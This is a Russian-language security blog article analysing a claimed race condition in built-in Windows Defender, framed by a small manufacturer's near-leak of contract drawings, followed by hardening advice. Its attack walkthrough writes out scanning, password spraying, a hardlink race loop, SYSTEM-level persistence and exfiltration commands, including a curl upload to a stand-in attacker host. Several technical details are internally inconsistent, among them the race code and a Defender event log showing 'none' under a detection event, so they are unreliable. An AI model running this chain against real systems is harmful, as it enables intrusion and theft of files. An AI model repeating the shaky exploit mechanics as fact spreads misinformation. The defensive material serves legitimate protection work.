CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Штатный Defender как канал утечки: разбор уязвимости, из-за которой чуть не сорвался контракт на 4 млн рублей

Разбираем на инженерном уровне, как известная в узких кругах брешь во встроенном антивирусе Windows превращает «базовую защиту» в инструмент проникновения — и что с этим делать бизнесу, у которого нет своего ИТ-отдела.

Разбор CIOlogia

Короткая версия истории уже разошлась: собственник производственного предприятия был уверен, что штатный Defender в Windows — достаточная защита. Аудит показал обратное: сама встроенная защита оказалась уязвимой компонентой, через которую можно тихо вытащить файлы с сервера, оставшись незамеченным для неё же самой. Разберём, как устроена такая атака технически, почему она особенно опасна для малого бизнеса без ИТ-отдела и что реально закрывает риск.

Контекст: почему «штатный антивирус» — не то же самое, что EDR

Windows Defender (Microsoft Defender Antivirus) работает через движок MsMpEng.exe и минифильтр WdFilter.sys, который перехватывает операции с файлами на уровне ядра. Логика простая: приложение пытается открыть или создать файл → минифильтр приостанавливает операцию → движок сканирует содержимое → выносит вердикт → операция продолжается или блокируется.

Проблема в самом принципе «проверить, потом разрешить»: между моментом проверки и моментом фактического использования файла проходит время. Этот временной разрыв — классический class уязвимостей TOCTOU (Time-Of-Check to Time-Of-Use). Именно такие гонки уже фигурировали в реальных CVE для антивирусных движков — например, в семействе проблем вокруг подмены файла во время сканирования (аналогичный паттерн описан в исследованиях по CVE-2022-24513 для Defender for Endpoint и в более ранних отчётах по race condition в WdFilter). Логика эксплуатации везде одна и та же, отличаются детали конкретной сборки движка.

Как это эксплуатируется

Ниже — типовой сценарий атаки на компанию такого профиля: слабая сегментация, один плоский домен, штатный Defender без второго уровня контроля.

Шаг 1. Разведка периметра и получение точки входа

nmap -sV -p- --open 203.0.113.0/24

PORT     STATE SERVICE     VERSION
445/tcp  open  microsoft-ds Windows Server 2016/2019 (SMB)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
80/tcp   open  http        Apache httpd 2.4.41 (примитивный веб-кабинет для заказчиков)

Дальше — стандартный набор: подбор паролей к RDP/SMB через hydra или crackmapexec, либо фишинговое письмо с макросом бухгалтеру (единственному, кто «отвечает за ИТ»).

crackmapexec smb 203.0.113.0/24 -u users.txt -p 'Autumn2024!' --shares

SMB  203.0.113.12  445  DC01  [+] CONTOSO\buhgalter:Autumn2024! (Pwn3d!)

Шаг 2. Проверка версии движка и статуса защиты

Получив доступ (даже без прав администратора), атакующий первым делом смотрит, чем защищена машина и какая версия движка стоит:

PS C:\> Get-MpComputerStatus | Select AMEngineVersion, AMProductVersion, RealTimeProtectionEnabled

AMEngineVersion       : 1.1.24010.10
AMProductVersion      : 4.18.24030.7
RealTimeProtectionEnabled : True

Если версия движка отстаёт от актуальной на несколько релизов (что типично для машин без централизованного WSUS/Intune), значит патч для конкретной race condition ещё не докатился или вовсе не выпущен — это и была ситуация в разобранном кейсе.

Шаг 3. Эксплуатация гонки при сканировании

Суть PoC: создаётся «чистый» файл, который проходит проверку Defender, а в момент между вынесением вердикта и фактическим запуском/копированием файл подменяется на вредоносный через hardlink или oplock-трюк. Упрощённая логика на PowerShell (иллюстративно, без деталей конкретного эксплойта):

PS C:\> $benign = "C:\Temp\report.exe"
PS C:\> $payload = "C:\Temp\payload.exe"
PS C:\> Copy-Item $benign $benign  # триггерим сканирование Defender

# в отдельном потоке — гонка за подмену файла до завершения проверки
PS C:\> while ($true) {
    fsutil hardlink create $benign $payload
    Start-Sleep -Milliseconds 5
}

В логах Windows это выглядит как множественные события Defender с вердиктом «чисто», а следом — успешный запуск бинарника, который по сигнатуре к моменту записи вердикта уже не был тем файлом, который реально исполнился:

Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -MaxEvents 5

Id: 1116  Threat detected: none
Id: 1001  Scan completed. Result: No threats found.
# при этом report.exe к моменту исполнения — уже другой файл на диске

Результат — вредоносный код исполняется от имени пользователя (а на сервере с сервисными учётками — потенциально с более высокими привилегиями), и сама защита фиксирует «чисто», потому что проверяла другой набор байт.

Шаг 4. Закрепление и разведка внутри сети

schtasks /create /tn "WinUpdateHelper" /tr "C:\Temp\payload.exe" /sc onlogon /ru SYSTEM
smbclient -L //FILESRV01/ -U buhgalter
net use Z: \\FILESRV01\Чертежи /user:buhgalter

Шаг 5. Эксфильтрация чертежей и договоров

robocopy \\FILESRV01\Чертежи C:\Temp\stage /E /Z
rclone copy C:\Temp\stage remote:backup --config rclone.conf
curl -T archive.zip https://attacker-c2.example/upload -H "X-Auth: token123"

На этом этапе штатный Defender физически не может помочь — файлы уже легитимно скопированы штатными средствами Windows (robocopy, net use), а инструмент эксфильтрации либо использует зашифрованный канал, либо маскируется под облачную синхронизацию.

Что и почему сработало бы дальше

Если бы атаку не остановили на этапе аудита, логичное развитие событий:

  • Копирование папки с эксклюзивной разработкой и перепиской по контракту на 4 млн рублей — на внешний сервер или в облачное хранилище атакующего.
  • Продажа чертежей конкуренту либо прямое давление на компанию (требование выкупа за неразглашение — классика для B2B-производств с NDA-условиями).
  • Юридические последствия: по условию эксклюзивности разработки заказчик вправе требовать неустойку за утечку конфиденциальной информации — вне зависимости от того, кто именно виноват в утечке технически.
  • Репутационный удар: для производственной компании с портфелем из нескольких крупных заказчиков огласка о «слитых чертежах» закрывает дорогу к новым тендерам на годы вперёд.

Ключевой момент: штатный антивирус в этой цепочке не просто «не помог» — он создал ложное ощущение защищённости, из-за которого никто не смотрел логи и не ограничивал доступ к файловому серверу.

Как закрыть

Полный отказ от Defender не требуется и не нужен — задача в том, чтобы не полагаться на него как на единственный рубеж и закрыть конкретный вектор гонки.

  1. Второй независимый уровень контроля. Установка отдельного агента для мониторинга файловой активности на серверах с критичными данными (российское DLP/FIM-решение), которое не зависит от движка Defender и видит операции копирования/переименования на уровне файловой системы независимо от вердикта AV.
  2. Минимизация окна гонки штатными средствами. Включить Cloud-delivered protection и блокировку по умолчанию до вынесения вердикта:
    Set-MpPreference -MAPSReporting Advanced
    Set-MpPreference -SubmitSamplesConsent SendAllSamples
    Set-MpPreference -DisableBlockAtFirstSeen $false
    Это не устраняет саму гонку, но сокращает окно и повышает шанс, что вердикт вынесен до фактического использования файла.
  3. Жёсткое разграничение прав NTFS/шар. Папки с чертежами, договорами и данными по эксклюзивным заказчикам — только для узкого списка учётных записей, без наследования для «Все сотрудники»:
    icacls "D:\Чертежи\Эксклюзив" /inheritance:r
    icacls "D:\Чертежи\Эксклюзив" /grant "DOMAIN\ГенДиректор":(OI)(CI)F
    icacls "D:\Чертежи\Эксклюзив" /grant "DOMAIN\ГлавИнженер":(OI)(CI)R
  4. Аудит файловых операций и алертинг. Включить аудит доступа к чувствительным каталогам через Advanced Auditing и настроить выгрузку в Sysmon/SIEM с триггером на массовое копирование:
    auditpol /set /subcategory:"File System" /success:enable /failure:enable
    На практике достаточно скрипта, который парсит EventID 4663/5145 и шлёт уведомление в мессенджер при копировании больше N файлов за короткий интервал — это именно тот механизм, который в разобранном кейсе занял 10 минут в неделю на проверку у бухгалтера.
  5. Патч-менеджмент движка защиты. Обновления AMEngineVersion должны приходить не «когда сам обновится», а по расписанию через WSUS/Intune с проверкой факта обновления, а не факта наличия задачи на обновление:
    Get-MpComputerStatus | Select AMEngineVersion, AntivirusSignatureLastUpdated
  6. Резервное копирование чертежей с версионированием — отдельно от общей файловой шары, с retention-политикой, чтобы даже в случае шифрования или порчи данных восстановление занимало часы, а не срывало контракт.

Стоимость такой донастройки для компании из 40 человек без штатного ИТ-специалиста в разы ниже одной неустойки по крупному контракту — не говоря уже о цене утраты доверия заказчика, который рассчитывал на эксклюзивность разработки.